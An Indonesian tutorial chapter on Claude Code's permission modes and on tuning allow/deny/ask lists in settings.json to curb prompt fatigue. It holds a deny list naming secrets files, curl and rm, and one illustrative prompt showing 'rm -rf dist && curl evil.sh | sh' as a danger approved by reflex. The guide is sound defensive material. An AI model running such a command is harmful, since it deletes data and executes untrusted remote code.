Setiap kali Claude Code hendak menyunting sebuah berkas atau menjalankan sebuah perintah, ia bisa berhenti dan bertanya lebih dulu kepada Anda. Prompt itulah panel kontrol Anda — momen ketika Anda menyetujui atau menolak sebuah tindakan. Mode izin (permission) menentukan seberapa sering Claude berhenti untuk bertanya. Setel tuasnya terlalu waspada, Anda tenggelam dalam prompt sampai akhirnya menyetujui apa saja secara refleks (termasuk yang seharusnya penting). Setel terlalu longgar, Claude berjalan tanpa pengawasan di tempat yang seharusnya tidak. Kunci penguasaannya sederhana: sesuaikan otonomi dengan risiko.
Inti Utama
Prompt permission adalah fitur, bukan gesekan yang harus dihilangkan. Tujuannya bukan prompt yang lebih sedikit — melainkan membuat prompt yang memang muncul layak dibaca.
Anda mencapai itu lewat dua cara: pilih mode yang tepat untuk tugasnya, dan kurasi allow/deny list agar tindakan rutin yang aman berjalan diam-diam dan hanya keputusan yang benar-benar penting yang menyela Anda.
Empat mode
| Mode | Menyetujui otomatis | Tetap menanyakan | Cara masuk | Pakai saat |
|---|---|---|---|---|
| default | tidak ada | edit dan perintah | (mode awal) | Pekerjaan asing atau berisiko; Anda ingin mengamati tiap langkah |
acceptEdits (⏵⏵) |
edit berkas | menjalankan perintah | Shift+Tab |
Anda sudah menyetujui rencana dan percaya arahnya; penyuntingan intensif |
plan (⏸) |
— (read-only) | tidak bisa bertindak sama sekali | Shift+Tab |
Eksplorasi / merencanakan sebelum ada perubahan (Bab 1.3) |
| bypassPermissions | semuanya | tidak ada | --dangerously-skip-permissions |
Hanya di sandbox/container/CI yang terisolasi |
Cara berpindah:
Shift+Tabberputar: default →⏵⏵ acceptEdits→⏸ plan→ kembali ke default.- Flag CLI:
--permission-mode plan,--permission-mode acceptEdits,--dangerously-skip-permissions. - Default via settings: setel
"defaultMode"di bawahpermissionspadasettings.jsonagar sebuah proyek selalu dimulai di mode yang Anda inginkan.
Perhatikan bentuk tuasnya: plan paling ketat (Claude tidak bisa mengubah apa pun), default mengawasi setiap tindakan, acceptEdits mempercayai edit tetapi menjaga perintah, dan bypass memercayai semuanya. Anda menaikkan tuas seiring naiknya kepercayaan diri Anda — dan keamanan environment Anda.
Pembaruan 2026: versi terbaru menambahkan mode
auto— sebuah pengklasifikasi keamanan menyetujui otomatis tindakan yang jelas aman dan memblokir yang merusak (mis.git reset --hard) — plus modedontAsk. Selain itu ada protected paths:.git/,.claude/, dan direktori konfigurasi editor tidak pernah disetujui otomatis di mode mana pun kecuali bypassPermissions. CekShift+Tabdan/permissionsdi versi Anda untuk melihat mode yang tersedia. Detail di dokumentasi resmi.
Kekuatan sesungguhnya: allow / deny list
Mode adalah tuas kasar. Allow/deny list adalah tuas halusnya — dan di sinilah
para profesional menghabiskan lima menit persiapan mereka. Ia tinggal di
settings.json di bawah permissions:
{
"permissions": {
"defaultMode": "default",
"allow": [
"Bash(git status)",
"Bash(git diff:*)",
"Bash(ls:*)",
"Bash(pnpm test:*)",
"Bash(pnpm lint:*)",
"Bash(pnpm typecheck)"
],
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(./secrets/**)",
"Bash(curl:*)",
"Bash(rm:*)"
],
"ask": [
"Bash(git push:*)"
]
}
}
- allow — ini berjalan tanpa prompt. Isi dengan perintah yang aman, berulang, dan read-only (status, diff, test, lint) agar tidak lagi menyela Anda.
- deny — ini diblokir sepenuhnya, dan deny menang atas allow. Beginilah
cara Anda mencegah Claude membaca
.envselamanya (terkait Bab 2.6) atau menjalankan perintah yang merusak/mengekstraksi data. - ask — selalu memunculkan prompt, bahkan di mode yang longgar. Simpan untuk
tindakan "apakah Anda yakin" seperti
git push.
Kelola secara langsung dengan perintah /permissions, atau biarkan skill
/fewer-permission-prompts memindai sesi-sesi terakhir Anda dan mengusulkan
allowlist dari perintah-perintah aman yang terus Anda setujui.
Sebelum / Sesudah: jebakan kelelahan prompt
Tanpa allowlist — setiap perintah rutin bertanya:
> run the tests
Allow: Bash(pnpm test)? [y/N] y
> check what changed
Allow: Bash(git diff)? [y/N] y
> list the files
Allow: Bash(ls src)? [y/N] y
... 40 more times this hour ...
Allow: Bash(rm -rf dist && curl evil.sh | sh)? [y/N] y ← 😱 you approved on autopilot
Lima puluh y refleks kemudian, Anda berhenti membaca prompt-nya — sehingga satu
tindakan berbahaya lolos begitu saja karena kebiasaan otot. Kelelahan prompt adalah
risiko keamanan.
Dengan allow/deny list yang terkurasi — hal yang aman berjalan senyap, sehingga prompt yang jarang muncul itu berarti:
> run the tests # runs silently (allowlisted)
> check what changed # runs silently (allowlisted)
> list the files # runs silently (allowlisted)
Allow: Bash(git push origin main)? [y/N] ← this one you actually READ
Workflow yang sama, tetapi kini setiap prompt adalah keputusan yang sungguhan. Itulah inti seluruh bab ini: prompt yang lebih sedikit, tetapi lebih bermutu.
Memilih mode — aturan cepat
- Default untuk apa pun yang asing, berisiko, atau saat Anda ingin melihat tiap langkah.
- acceptEdits setelah Anda mengunci pendekatannya di plan mode — biarkan Claude menyunting dengan leluasa sementara Anda tetap menjaga eksekusi perintah.
- Plan kapan pun Anda sedang bereksplorasi atau mengambil keputusan (Bab 1.3).
- Bypass hanya ketika radius dampaknya terkurung: container sekali pakai, CI runner yang terisolasi, git worktree yang bisa Anda hapus. Jangan pernah di mesin utama Anda terhadap repo sungguhan.
Pasangan yang perlu diingat: plan mode untuk memutuskan → acceptEdits untuk membangun. Anda sudah me-review apa-nya, jadi Anda bisa dengan aman mempercepat bagaimana-nya.
Aturan keamanan yang wajib ditanam
- Blokir rahasia (secrets), selalu.
Read(./.env*)danRead(./secrets/**)di setiap proyek. Claude tidak pernah butuh nilainya (Bab 2.6). - Jangan pernah meng-allow ekstraksi data secara borongan. Jauhkan
Bash(curl:*)/Bash(wget:*)dari allow — setujui itu kasus per kasus. - Jaga perintah yang merusak.
rm,migrate reset,git push --forcemasuk kedenyatauask, jangan pernahallow. - Bagikan allowlist, simpan penyesuaian pribadi secara lokal. Taruh allow/deny
tim di
.claude/settings.jsonyang di-commit; taruh yang khusus mesin di.claude/settings.local.jsonyang git-ignored.
Peringatan
Jangan "menyelesaikan" masalah permission dengan langsung meraih mode bypass. Mematikan prompt tidak membuat risikonya lenyap — ia hanya menghilangkan kesempatan Anda untuk menangkapnya. Langkah yang cakap adalah gesekan yang terkalibrasi: senyapkan 95% yang aman dengan allowlist agar perhatian Anda tersedia untuk 5% yang benar-benar butuh manusia. Satu prompt yang Anda baca lebih berharga daripada seratus prompt yang Anda tepis secara refleks.
Bisa diunduh: Permission Config Pack
Di ../../artifacts/permission-config-pack/:
| Berkas | Kegunaan |
|---|---|
settings.permissions.json |
Blok allow/deny/ask awal — default yang aman, jatuhkan ke .claude/settings.json |
mode-cheatsheet.md |
4 mode: kapan dipakai, cara masuk, batas keamanannya |
allow-deny-recipes.md |
Resep aturan salin-tempel (Node, Python, git, secrets, bahaya) |
README.md |
Pemasangan 5 menit + cara menyetelnya dengan /permissions |
Pemasangan: gabungkan settings.permissions.json ke dalam
.claude/settings.json proyek Anda, lalu jalankan /permissions untuk menyetel
halus terhadap perintah-perintah Anda yang sebenarnya.